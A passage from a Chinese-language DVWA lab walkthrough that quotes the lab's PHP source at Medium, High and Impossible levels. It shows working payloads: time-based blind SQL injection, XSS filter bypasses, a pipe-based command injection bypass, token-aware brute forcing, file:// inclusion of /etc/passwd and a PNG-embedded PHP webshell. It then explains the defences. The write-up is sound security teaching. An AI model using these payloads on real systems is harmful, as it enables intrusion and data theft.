    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    //mysql_close();
}

?>

中级首先是改为数字型,添加了mysql_real_escape_string(),然后选项也变为了固定的,改为了post传参,网页没有404回显,所以无法通过回显来判断是否存在了,此时可以使用sleep()函数进行时间盲注

比如在获取数据库名长度时使用payload1 and if(length(database())=1,sleep(5),1) #

此时网页能立刻返回结果:

image-20240316174858652

传入1 and if(length(database())=4,sleep(5),1) #时,网页延迟了五秒才返回结果:

image-20240316175004618

所以可以通过延时与否来判断语句成不成立

写脚本需要在低级的脚本基础上,将字符型payload改为数字型,传参方式改为post,引号内容改为十六进制,判断方式改为间隔时间即可,例如:

// python使用时间的判断方式
time1 = datetime.datetime.now()
send_payload()
time2 = datetime.datetime.now()
if (time2 - time1).seconds > 5:
    ...  // 语句成立
else:
    ...  // 语句不成立

9. XSS(Reflected) – 跨站脚本反射型

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

中级添加了对<script>的过滤,可以发现被删除了

image-20240316180601597

可以使用双写绕过<sc<script>ript>alert("EL PSY KONGROO")</script>

image-20240316180937525

成功弹窗:

image-20240316181006585

此外还可以用事件绕过<a href = 'javascript:alert("EL PSY KONGROO")'>super hacker</a>

image-20240316181958223

点击super hacker会弹窗:

image-20240316182039810

10. XSS(Stored) – 跨站脚本存储型

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = str_replace( '<script>', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

中级添加了$message = strip_tags( addslashes( $message ) );$message = htmlspecialchars( $message );,以及$name = str_replace( '<script>', '', $name );

addslashes()会在预定义字符前添加\,例如"\'

strip_tags()会剥去字符串中 HTML、XML 、PHP 的标签

htmlspecialchars()会把一些预定义的字符转换为 HTML 实体,如&变成&amp"变成&quot

上面三个函数都只是对Message做了过滤,没有对Name做,但是Name输入框限制了10个字符,所以通过抓包来绕过前端的字符数限制

  1. 双写绕过:

    <sc<script>ript>alert("EL PSY KONGROO")</script>

    image-20240316183746110

    image-20240316183802759

  2. 大小写绕过:

    <sCrIpT>alert("EL PSY KONGROO")</script>

    image-20240316184008805

    image-20240316183947009

  3. 事件绕过:

    <a href = 'javascript:alert("EL PSY KONGROO")'>super hacker</a>

    image-20240316184039779

image-20240316184051584

事件绕过不止这一种标签可以用,还可以用onerroronxxx类的等等,其他还有很多

Ⅲ. Security:High – 高安全性

这个安全级别的安全措施比中级更多,和各种CTF中会出的题目有相似性


1. Brute Force – 暴力破解

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        // Get users details
        $avatar = mysql_result( $result, 0, "avatar" );

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

高级增加了token防御csrf攻击,且对用户名和密码做了更多过滤来防御sql注入

抓包可以发现总共传入四个参数usernamepasswordLoginuser_tokn

image-20240316185749487

将抓到的包发给intruder,攻击模式选Pitchfork,由于有token保护,需要使用burp的Recursive_Grep功能,这个功能可以从上一次请求的响应包中提取需要继承的参数,并在下一次请求中使用,可以用于验证token值

添加爆破位置:

image-20240316190239186

将线程设为1,因为Recursive grep不支持多线程,旧版burp可以在Options的Request Engine处修改:

image-20240316191913495

option选项卡在Grep – Extract点击Add:

image-20240316190436950

点击Fetch response后选中并复制token,点OK:

e359930171f2042587bd402de8812ee9

image-20240316190606437

在Option的Redirections模块选择Always总是允许重定向:

image-20240316190840085

用户名项和密码项的字典均选择Simple List

处理token项时Payload type选择Recursiv grep,Payload Options选中token的正则,然后输入刚刚复制的token作为初始值:

image-20240316191325077

现在设置完毕可以开始爆破

image-20240316213742337

成功找到用户名和密码

2. Command Injection – 命令注入

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Get input
    $target = trim($_REQUEST[ 'ip' ]);

    // Set blacklist
    $substitutions = array(
        '&'  => '',
        ';'  => '',
        '| ' => '',
        '-'  => '',
        '$'  => '',
        '('  => '',
        ')'  => '',
        '`'  => '',
        '||' => '',
    );

    // Remove any of the charactars in the array (blacklist).
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Determine OS and execute the ping command.
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        // Windows
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        // *nix
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    // Feedback for the end user
    echo "<pre>{$cmd}</pre>";
}

?>

高级扩充了黑名单,有更全面的过滤,但是可以发现'| ' => ''是对管道符+空格进行的匹配,而不是管道符,所以可以使用|来绕过,或者直接使用管道符

image-20240316214936546

3. CSRF – 跨站请求伪造

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

高级增加了防御CSRF的token,而不是单纯检查Referer

一般关键在于获得受害者的token信息

参考DVWA-CSRF(跨站请求伪造)-CSDN博客的方法,可以写一个获取token的js脚本再利用文件上传漏洞上传至服务器

4. File Inclusion – 文件包含

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

高级会对传入的page参数进行校验,若不匹配正则式file*且不等于include.php就会报错并结束运行。

可以用file协议绕过,构造urlhttp://192.168.179.132:81/vulnerabilities/fi/?page=file:///etc/passwd

image-20240318174612154

成功输出文件内容

5. File Upload – 文件上传

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );

    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
        ( $uploaded_size < 100000 ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }
        else {
            // Yes!
            echo "<pre>{$target_path} succesfully uploaded!</pre>";
        }
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

?>

高级会直接读取上传文件的扩展名,然后转换为小写字母,若非jpg、jpeg、png则不接受上传。如果获取不到图像大小也不会接受。

可以使用cmd命令制作图片马

准备png和php:

image-20240316161730994

cmd输入copy 1.png/b+2.php/a 3.png

image-20240316162057642

image-20240316162133450

可以看到图片后面添加了一句话木马,且图片可以正常显示

image-20240318184545271

上传图片马成功

image-20240318184627214

使用文件包含漏洞加载http://192.168.179.132:81/vulnerabilities/fi/?page=file:///var/www/html/hackable/uploads/shell.png

image-20240318184700648

用蚁剑连接即可

6. Insecure CAPTCHA – 不安全的验证码

<?php

if( isset( $_POST[ 'Change' ] ) ) {
    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_conf = $_POST[ 'password_conf' ];

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );

    // Did the CAPTCHA fail?
    if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
        // What happens when the CAPTCHA was entered incorrectly
        $html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // CAPTCHA was correct. Do both new passwords match?
        if( $pass_new == $pass_conf ) {
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Ops. Password mismatch
            $html     .= "<pre>Both passwords must match.</pre>";
            $hide_form = false;
        }
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

高级增加了token防御csrf攻击,且检查UA是否为reCAPTCHA以及recaptcha_response_field值是否为hidd3n_valu3,删除了导致漏洞产生的step参数,抓包修改即可

7. SQL Injection – SQL注入

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' );

    // Get results
    $num = mysql_numrows( $result );
    $i   = 0;
    while( $i < $num ) {
        // Get values
        $first = mysql_result( $result, $i, "first_name" );
        $last  = mysql_result( $result, $i, "last_name" );

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";

        // Increase loop count
        $i++;
    }

    mysql_close();
}

?>

高级在查询id后面加了LIMIT 1使得只输出一个查询结果,但是用#就能注释掉,此外没有过滤手段,和Low安全性一样注入即可

image-20240318205408408

8. SQL Injection(Blind) – SQL盲注

<?php

if( isset( $_COOKIE[ 'id' ] ) ) {
    // Get input
    $id = $_COOKIE[ 'id' ];

    // Check database
    $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
    $result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors

    // Get results
    $num = @mysql_numrows( $result ); // The '@' character suppresses errors
    if( $num > 0 ) {
        // Feedback for end user
        echo '<pre>User ID exists in the database.</pre>';
    }
    else {
        // Might sleep a random amount
        if( rand( 0, 5 ) == 3 ) {
            sleep( rand( 2, 4 ) );
        }

        // User wasn't found, so the page wasn't!
        header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );

        // Feedback for end user
        echo '<pre>User ID is MISSING from the database.</pre>';
    }

    mysql_close();
}

?>

高级在注入时会开启一个新窗口,使用cookie传参,在查询语句后也加上了LIMIT 1,且当查询结果不存在时会随机暂停运行2到4秒来干扰时间盲注,但其实只是增加了尝试时间而已,其他和中级大同小异。

9. XSS(Reflected) – 跨站脚本反射型

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

高级会按照正则式/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'过滤输入,也就是当name中出现<script这七个字符时,无论中间夹着任何其他字符,都会全部连同<script一起被删除。/i意味忽略大小写,所以大小写绕过也无法使用。

所以不用<script>标签了,使用事件绕过

<img src=1 onerror=alert("ELPSYKONGROO")>

image-20240318212106792

10. XSS(Stored) – 跨站脚本存储型

<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
    // Get input
    $message = trim( $_POST[ 'mtxMessage' ] );
    $name    = trim( $_POST[ 'txtName' ] );

    // Sanitize message input
    $message = strip_tags( addslashes( $message ) );
    $message = mysql_real_escape_string( $message );
    $message = htmlspecialchars( $message );

    // Sanitize name input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
    $name = mysql_real_escape_string( $name );

    // Update database
    $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
    $result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );

    //mysql_close();
}

?>

高级仍然把对message的过滤拉满,然后对name做了和反射型同样的过滤

抓包事件绕过即可

image-20240318212645610

image-20240318212603504

Ⅳ. Security:Impossible – 无懈可击

这个安全级别能防范所有漏洞,基本无法进行攻击,用于和前三个级别的源码进行比较学习


1. Brute Force – 暴力破解

<?php

if( isset( $_POST[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = mysql_real_escape_string( $user );

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysql_real_escape_string( $pass );
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = $row[ 'last_login' ];
        $last_login = strtotime( $last_login );
        $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
        $timenow    = strtotime( "now" );

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow > $timeout )
            $account_locked = true;
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }
    else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级的sql查询语句加了LIMIT 1,加入了错误锁定机制,当输错之后会随机暂停2到4秒,

// Login failed
sleep( rand( 2, 4 ) );

输错三次会锁定15分钟,

// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
    // User locked out.  Note, using this method would allow for user enumeration!
    //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

    // Calculate when the user would be allowed to login again
    $last_login = $row[ 'last_login' ];
    $last_login = strtotime( $last_login );
    $timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
    $timenow    = strtotime( "now" );

    // Check to see if enough time has passed, if it hasn't locked the account
    if( $timenow > $timeout )
        $account_locked = true;
}

次数记录在数据库中,

// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();

大大增加了爆破难度

2. Command Injection – 命令注入

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $target = $_REQUEST[ 'ip' ];
    $target = stripslashes( $target );

    // Split the IP into 4 octects
    $octet = explode( ".", $target );

    // Check IF each octet is an integer
    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
        // If all 4 octets are int's put the IP back together.
        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // Determine OS and execute the ping command.
        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
            // Windows
            $cmd = shell_exec( 'ping  ' . $target );
        }
        else {
            // *nix
            $cmd = shell_exec( 'ping  -c 4 ' . $target );
        }

        // Feedback for the end user
        echo "<pre>{$cmd}</pre>";
    }
    else {
        // Ops. Let the user name theres a mistake
        echo '<pre>ERROR: You have entered an invalid IP.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级添加了token,

首先对输入的字符串进行转义,

// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

然后根据.分成四部分,

// Split the IP into 4 octects
$octet = explode( ".", $target );

检查每个部分是不是整数且长度为4,

// Check IF each octet is an integer 
 if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) 

然后把其中是数字的部分拼回成ip地址

// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

若不是整数则不接受

3. CSRF – 跨站请求伪造

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwa CurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级在修改密码时需要输入现在的密码验证,输入后也会对其转义过滤,攻击者无法得知现在的密码则无法进行CSRF攻击

// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new  = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];

// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );

4. File Inclusion – 文件包含

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

Impossible级限制 file参数的值为include.phpfile1.phpfile2.phpfile3.php,无法进行攻击了

5. File Upload – 文件上传

<?php

if( isset( $_POST[ 'Upload' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );


    // File information
    $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
    $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
    $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
    $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];

    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
    //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
    $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
    $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;

    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
        ( $uploaded_size < 100000 ) &&
        ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
        getimagesize( $uploaded_tmp ) ) {

        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == 'image/jpeg' ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );

        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
        }
        else {
            // No
            echo '<pre>Your image was not uploaded.</pre>';
        }

        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级增加了token

将文件名称用md5处理后,和扩展名拼接作为新的文件名

// Where are we going to be writing to?
$target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
//$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
$target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
$temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) 

会检查文件的扩展名、大小、content-type,以及图像是否能正常显示

// Is it an image?
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
    ( $uploaded_size < 100000 ) &&
    ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
    getimagesize( $uploaded_tmp ) ) 

然后删除图像所有元数据,上传至临时目录后重新创建一个新的一样的图像,最后删除临时文件

// Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
if( $uploaded_type == 'image/jpeg' ) {
    $img = imagecreatefromjpeg( $uploaded_tmp );
    imagejpeg( $img, $temp_file, 100);
}
else {
    $img = imagecreatefrompng( $uploaded_tmp );
    imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );

就算能成功上传木马,攻击者也无法得知文件的新名字,所以无法进行连接

6. Insecure CAPTCHA – 不安全的验证码

<?php

if( isset( $_POST[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Hide the CAPTCHA form
    $hide_form = true;

    // Get input
    $pass_new  = $_POST[ 'password_new' ];
    $pass_new  = stripslashes( $pass_new );
    $pass_new  = mysql_real_escape_string( $pass_new );
    $pass_new  = md5( $pass_new );

    $pass_conf = $_POST[ 'password_conf' ];
    $pass_conf = stripslashes( $pass_conf );
    $pass_conf = mysql_real_escape_string( $pass_conf );
    $pass_conf = md5( $pass_conf );

    $pass_curr = $_POST[ 'password_current' ];
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check CAPTCHA from 3rd party
    $resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
        $_SERVER[ 'REMOTE_ADDR' ],
        $_POST[ 'recaptcha_challenge_field' ],
        $_POST[ 'recaptcha_response_field' ] );

    // Did the CAPTCHA fail?
    if( !$resp->is_valid ) {
        // What happens when the CAPTCHA was entered incorrectly
        echo "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
        $hide_form = false;
        return;
    }
    else {
        // Check that the current password is correct
        $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
        $data->execute();

        // Do both new password match and was the current password correct?
        if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
            // Update the database
            $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
            $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
            $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
            $data->execute();

            // Feedback for the end user - success!
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Feedback for the end user - failed!
            echo "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
            $hide_form = false;
        }
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

Impossible级检查token

要求输入当前密码验证,并对所有输入进行过滤

对sql语句进行预编译,防止sql注入

// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();

在判断验证码有效与否的环节删除了攻击者能修改的参数,使得无法攻击

7. SQL Injection – SQL注入

<?php

if( isset( $_GET[ 'Submit' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $id = $_GET[ 'id' ];

    // Was a number entered?
    if(is_numeric( $id )) {
        // Check the database
        $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
        $data->bindParam( ':id', $id, PDO::PARAM_INT );
        $data->execute();
